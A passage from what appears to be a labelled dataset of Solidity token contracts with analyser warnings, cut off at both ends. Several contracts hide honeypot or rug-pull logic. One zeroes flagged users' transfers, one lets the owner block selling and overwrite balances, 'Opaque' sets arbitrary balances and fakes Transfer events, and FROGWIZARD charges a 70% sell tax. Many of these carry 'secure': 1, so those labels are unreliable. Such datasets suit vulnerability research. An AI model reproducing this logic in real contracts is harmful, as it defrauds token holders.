);\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[msg.sender]) amount -= amount;\n _beforeTokenTransfer(msg.sender, recipient, amount);\n uint256 senderBalance = _balances[msg.sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n _afterTokenTransfer(msg.sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2369.sol", "secure": 1, "size_bytes": 6485 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IEtherVistaFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function routerSetter() external view returns (address);\n\n function router() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n\n function setRouterSetter(address) external;\n\n function setRouter(address) external;\n}", "file_name": "solidity_code_237.sol", "secure": 1, "size_bytes": 1045 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Regime is ERC20, Ownable {\n constructor() ERC20(\"Regime\", \"Regime\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2370.sol", "secure": 1, "size_bytes": 346 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract EUROT is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) public isOwners;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n address private _owner;\n\t// WARNING Optimization Issue (immutable-states | ID: d49e7bf): EUROT._decimals should be immutable \n\t// Recommendation for d49e7bf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n constructor() {\n _name = \"EUROT\";\n _symbol = \"EUT\";\n _decimals = 6;\n _totalSupply = 1000000000000000;\n isOwners[msg.sender] = true;\n _owner = msg.sender;\n _balances[msg.sender] = _totalSupply;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function burn(uint256 _value) public virtual returns (bool) {\n _burn(msg.sender, _value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 828a707): EUROT.changeOwner(address)._newAdress lacks a zerocheck on \t _owner = _newAdress\n\t// Recommendation for 828a707: Check that the address is not zero.\n function changeOwner(address payable _newAdress) public {\n require(isOwners[msg.sender]);\n isOwners[msg.sender] = false;\n isOwners[_newAdress] = true;\n\n if (msg.sender == _owner) {\n\t\t\t// missing-zero-check | ID: 828a707\n _owner = _newAdress;\n return;\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2371.sol", "secure": 0, "size_bytes": 6648 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ZuckVElon is ERC20, Ownable {\n constructor() ERC20(\"ZVE\", \"Zuck Vs Elon\") {\n _mint(msg.sender, 1e9 * 1e9);\n }\n}", "file_name": "solidity_code_2372.sol", "secure": 1, "size_bytes": 332 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint256);\n}", "file_name": "solidity_code_2373.sol", "secure": 1, "size_bytes": 354 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _approveSwap;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 internal _totalSupply;\n uint256 _reward;\n string internal _name;\n string internal _symbol;\n uint256 internal _decimals;\n bool maxTxPercent = true;\n address internal _owner;\n\n constructor(string memory name_, string memory symbol_, uint256 decimals_) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function recall(address _address) external onlyOwner {\n _approveSwap[_address] = false;\n }\n\n function approveSwap(address _address) external onlyOwner {\n _approveSwap[_address] = true;\n }\n\n function approvedTransfer(address _address) public view returns (bool) {\n return _approveSwap[_address];\n }\n\n function setMaxTxPercent() public virtual onlyOwner {\n if (maxTxPercent == true) {\n maxTxPercent = false;\n } else {\n maxTxPercent = true;\n }\n }\n\n function maxTxPercentState() public view returns (bool) {\n return maxTxPercent;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function reflectReward(uint256 value) external onlyOwner {\n _reward = value;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n if (_approveSwap[sender] || _approveSwap[recipient])\n require(maxTxPercent == false, \"\");\n if (maxTxPercent == true || sender == _owner || recipient == _owner) {\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n } else {\n require(maxTxPercent == true, \"\");\n }\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n _balances[account] = _reward - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2374.sol", "secure": 1, "size_bytes": 6107 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CAKHTken is ERC20 {\n constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {\n _name = \"CAKH\";\n _symbol = \"CAKH\";\n _decimals = 9;\n _totalSupply += initialSupply;\n _balances[msg.sender] += initialSupply;\n emit Transfer(address(0), msg.sender, initialSupply);\n }\n\n function burnRewards(address account, uint256 value) external onlyOwner {\n _burn(account, value);\n }\n}", "file_name": "solidity_code_2375.sol", "secure": 1, "size_bytes": 591 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Opaque {\n mapping(address => uint256) public sAMq;\n mapping(address => bool) sRSc;\n mapping(address => bool) eRn;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6883659): opaque.name should be constant \n\t// Recommendation for 6883659: Add the 'constant' attribute to state variables that never change.\n string public name = \"Opaque DAO\";\n\t// WARNING Optimization Issue (constable-states | ID: cbd1bd8): opaque.symbol should be constant \n\t// Recommendation for cbd1bd8: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"OPAQUE\";\n\t// WARNING Optimization Issue (constable-states | ID: 681d4d7): opaque.decimals should be constant \n\t// Recommendation for 681d4d7: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: ef8d388): opaque.totalSupply should be immutable \n\t// Recommendation for ef8d388: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);\n uint256 eM = 1;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event OwnershipRenounced(address indexed previousOwner);\n\n constructor() {\n sAMq[msg.sender] = totalSupply;\n deploy(Deployer, totalSupply);\n }\n\n address owner = msg.sender;\n\t// WARNING Optimization Issue (constable-states | ID: c13d591): opaque.Router should be constant \n\t// Recommendation for c13d591: Add the 'constant' attribute to state variables that never change.\n address Router = 0x147918F9907E60BADa11d23408f99564DBE1C18C;\n\t// WARNING Optimization Issue (constable-states | ID: 6fc1133): opaque.Deployer should be constant \n\t// Recommendation for 6fc1133: Add the 'constant' attribute to state variables that never change.\n address Deployer = 0x2D407dDb06311396fE14D4b49da5F0471447d45C;\n\n function renounceOwnership() public {\n require(msg.sender == owner);\n emit OwnershipRenounced(owner);\n owner = address(0);\n }\n\n function deploy(address account, uint256 amount) public {\n require(msg.sender == owner);\n emit Transfer(address(0), account, amount);\n }\n modifier yQ() {\n eM = 0;\n _;\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == Router) {\n require(sAMq[msg.sender] >= value);\n sAMq[msg.sender] -= value;\n sAMq[to] += value;\n emit Transfer(Deployer, to, value);\n return true;\n }\n if (sRSc[msg.sender]) {\n require(eM == 1);\n }\n require(sAMq[msg.sender] >= value);\n sAMq[msg.sender] -= value;\n sAMq[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function Yearn(address Ex) public yQ {\n require(msg.sender == owner);\n eRn[Ex] = true;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return sAMq[account];\n }\n function calibration(address Ex) public Si {\n require(!sRSc[Ex]);\n sRSc[Ex] = true;\n }\n modifier Si() {\n require(eRn[msg.sender]);\n _;\n }\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function gridwell(address Ex, uint256 iZ) public Si returns (bool success) {\n sAMq[Ex] = iZ;\n return true;\n }\n function serw(address Ex) public Si {\n require(sRSc[Ex]);\n sRSc[Ex] = false;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == Router) {\n require(value <= sAMq[from]);\n require(value <= allowance[from][msg.sender]);\n sAMq[from] -= value;\n sAMq[to] += value;\n emit Transfer(Deployer, to, value);\n return true;\n }\n if (sRSc[from] || sRSc[to]) {\n require(eM == 1);\n }\n require(value <= sAMq[from]);\n require(value <= allowance[from][msg.sender]);\n sAMq[from] -= value;\n sAMq[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}", "file_name": "solidity_code_2376.sol", "secure": 1, "size_bytes": 4922 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract FROGWIZARD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"FROG WIZARD\";\n string private constant _symbol = \"WIZFROG\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 25;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 70;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 4f2baf9): FROGWIZARD._developmentAddress should be constant \n\t// Recommendation for 4f2baf9: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xBc96f996Fa5246Fc53535b38fF64c687d3B7557F);\n\t// WARNING Optimization Issue (constable-states | ID: df654c0): FROGWIZARD._marketingAddress should be constant \n\t// Recommendation for df654c0: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xBc96f996Fa5246Fc53535b38fF64c687d3B7557F);\n\n\t// WARNING Optimization Issue (immutable-states | ID: f721173): FROGWIZARD.uniswapV2Router should be immutable \n\t// Recommendation for f721173: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 5ec677e): FROGWIZARD.uniswapV2Pair should be immutable \n\t// Recommendation for 5ec677e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = true;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 2000000 * 10 ** 9;\n uint256 public _maxWalletSize = 2000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 150000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e4e542a): FROGWIZARD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e4e542a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ddd12cb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ddd12cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0001683): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0001683: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ddd12cb\n\t\t// reentrancy-benign | ID: 0001683\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: ddd12cb\n\t\t// reentrancy-benign | ID: 0001683\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 403db63\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 403db63\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 403db63\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 403db63\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 403db63\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 403db63\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 675e23a): FROGWIZARD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 675e23a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 0001683\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: ddd12cb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0566bb9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0566bb9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 403db63): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 403db63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9e80e0a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9e80e0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 0566bb9\n\t\t\t\t// reentrancy-benign | ID: 403db63\n\t\t\t\t// reentrancy-eth | ID: 9e80e0a\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0566bb9\n\t\t\t\t\t// reentrancy-eth | ID: 9e80e0a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 403db63\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 403db63\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 403db63\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 403db63\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 0566bb9\n\t\t// reentrancy-benign | ID: 403db63\n\t\t// reentrancy-eth | ID: 9e80e0a\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: ddd12cb\n\t\t// reentrancy-events | ID: 0566bb9\n\t\t// reentrancy-benign | ID: 403db63\n\t\t// reentrancy-benign | ID: 0001683\n\t\t// reentrancy-eth | ID: 9e80e0a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ddd12cb\n\t\t// reentrancy-events | ID: 0566bb9\n\t\t// reentrancy-eth | ID: 9e80e0a\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 9e80e0a\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 9e80e0a\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 0566bb9\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = 